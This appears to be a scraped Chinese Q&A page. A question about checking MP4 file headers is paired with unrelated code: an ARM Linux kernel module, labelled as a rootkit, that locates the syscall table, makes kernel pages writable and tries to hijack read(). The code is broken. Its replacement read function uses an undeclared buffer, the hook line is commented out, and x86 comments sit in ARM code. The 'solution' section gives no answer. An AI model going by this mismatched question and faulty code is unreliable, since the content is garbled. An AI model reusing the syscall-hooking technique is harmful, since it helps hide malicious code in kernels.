问题描述
我必须开发一个检查mp4文件头的程序,我想知道是否可以假设每种mp42格式都包含视频编解码器
#include <linux/module.h> /* Needed by all modules */
#include <linux/unistd.h> /* Needed for __NR_read */
#include <linux/reboot.h> /* Needed for kernel_restart() */
#include <linux/slab.h> /* Needed for kmalloc() */
#include <linux/mm.h>
#include <asm/cacheflush.h> /* Needed for cache flush */
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/module.h>
#include <linux/sched.h>
#include <asm/pgtable.h>
#include <asm/tlbflush.h>
#define CR0_WRITE_PROTECT_MASK (1 << 16)
#define MAGIC "mamaliga"
#define SIZEOF_MAGIC 8
#define ROOTKIT_SYS_CALL_TABLE 0x801011c4
// ARM
#define HIJACK_SIZE 12
void **sys_call_table;
asmlinkage long (*read_syscall_ref)(unsigned int fd,char __user *buf,size_t count);
int pos; /* Size of MAGIC matched so far */
/* Function that replaces the original read_syscall.*/
asmlinkage long my_read_syscall_ref(unsigned int fd,size_t count)
{
long ret;
int i;
/* Call original read_syscall */
ret = read_syscall_ref(fd,buf,count);
return ret;
}
void mem_text_write_kernel_word(unsigned long *addr,unsigned long word)
{
*addr = word;
flush_icache_range((unsigned long)addr,((unsigned long)addr + sizeof(long)));
}
void cacheflush ( void *begin,unsigned long size )
{
flush_icache_range((unsigned long)begin,(unsigned long)begin + size);
}
static pgd_t *get_global_pgd (void)
{
pgd_t *pgd;
unsigned int ttb_reg;
asm volatile (
" mrc p15,%0,c2,c0,1"
: "=r" (ttb_reg));
printk(KERN_INFO "1st try: %08x",ttb_reg);
asm volatile (
"mrrc p15,1,%Q0,%R0,c2"
: "=r"(ttb_reg));
printk(KERN_INFO "2nd try: %08x",ttb_reg);
if (PAGE_OFFSET == 0x80000000) ttb_reg -= (1 << 4); else if (PAGE_OFFSET == 0xc0000000) ttb_reg -= (16 << 10);
printk(KERN_INFO "3rd try: %08x",ttb_reg);
ttb_reg &= ~(PTRS_PER_PGD*sizeof(pgd_t)-1);
printk(KERN_INFO "4th try: %08x",ttb_reg);
pgd = __va(ttb_reg);
printk(KERN_INFO "Global virt pgd: %08x",pgd);
return pgd;
}
static pte_t *lookup_address (unsigned long addr,unsigned int *level)
{
pgd_t *pgd;
pud_t *pud;
pmd_t *pmd;
printk(KERN_INFO "lookup_address %08x",addr);
pgd = get_global_pgd() + pgd_index(addr);
printk(KERN_INFO "pgd 0x%0x= %p",pgd_val(*pgd),pgd);
pud = pud_offset (pgd,addr);
printk(KERN_INFO "pud 0x%0x= %p",pud_val(*pud),pud);
pmd = pmd_offset (pud,addr);
printk(KERN_INFO "pmd 0x%0x= %p",pmd_val(*pmd),pmd);
return pte_offset_kernel (pmd,addr);
}
int make_rw(unsigned long address)
{
unsigned int level;
pte_t *ptep,pte;
ptep = lookup_address(address,&level);
pte = *ptep;
printk(KERN_INFO "pte = %08x",pte);
printk(KERN_INFO "PTE before 0x%lx\n",pte);
*ptep = pte_mkwrite(*ptep);
*ptep = clear_pte_bit(*ptep,__pgprot((_AT(pteval_t,1) << 7)));
__flush_tlb_all();
printk(KERN_INFO "PTE after 0x%lx\n",pte);
return 0;
}
static int __init interceptor_start(void)
{
unsigned long original_cr0;
/* Reading contents of control register cr0. The cr0 register has various
control flags that modify the basic operation of the processor. */
/* Disable `write-protect` mode. Do so by setting the WP (Write protect)
bit to 0. When set to 1,the CPU can't write to read-only pages */
// /* Store original read() syscall */
static void **sys_call_table;
void *swi_table_addr = (long *)0xffff0008; // Known address of Software Interrupt handler
unsigned long offset_from_swi_vector_adr = 0;
unsigned long *swi_vector_adr = 0;
offset_from_swi_vector_adr = ((*(long *)swi_table_addr) & 0xfff) + 8;
swi_vector_adr = *(unsigned long *)(swi_table_addr + offset_from_swi_vector_adr);
while (swi_vector_adr++)
{
if (((*(unsigned long *)swi_vector_adr) & 0xfffff000) == 0xe28f8000)
{ // Copy the entire sys_call_table from the offset_from_swi_vector_adr starting the hardware interrupt table
offset_from_swi_vector_adr = ((*(unsigned long *)swi_vector_adr) & 0xfff) + 8; // 0xe28f8000 is end of interrupt space. Hence we stop.
sys_call_table = (void *)swi_vector_adr + offset_from_swi_vector_adr;
break;
}
}
// sys_call_table = (void *) ROOTKIT_SYS_CALL_TABLE;
printk(KERN_INFO "ROOTKIT_SYS_CALL_TABLE: 0x%08x\n",sys_call_table);
printk(KERN_INFO "__NR_read: 0x%d\n",__NR_read);
read_syscall_ref = (void *)sys_call_table[__NR_read];
printk(KERN_INFO "read_syscall_ref: 0x%p\n",read_syscall_ref);
printk("func: %pF at address: %p\n",read_syscall_ref,read_syscall_ref);
void *func = &my_read_syscall_ref;
printk("Func: %pF at address: %p\n",func,func);
printk(KERN_INFO "my_read_syscall_ref: 0x%p\n",my_read_syscall_ref);
/* Replace in the system call table the original
read() syscall with our intercepting function */
make_rw(&read_syscall_ref);
// sys_call_table[__NR_read] = (unsigned long *) my_read_syscall_ref;
//hijack_start(read_syscall_ref,&my_read_syscall_ref);
printk(KERN_INFO "sys_call_table[__NR_read]: 0x%p\n",sys_call_table[__NR_read]);
printk(KERN_INFO "%s\n","Hello");
/* A non 0 return value means init_module failed; module can't be loaded */
return 0;
}
/* Cleanup function which is called just before module
is rmmoded. It restores the original read() syscall. */
static void __exit interceptor_end(void)
{
/* Restore original read() syscall */
sys_call_table[__NR_read] = (unsigned long *) read_syscall_ref;
printk(KERN_INFO "%s\n","Bye bye");
return;
}
module_init(interceptor_start);
module_exit(interceptor_end);
MODULE_LICENSE("GPL");
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)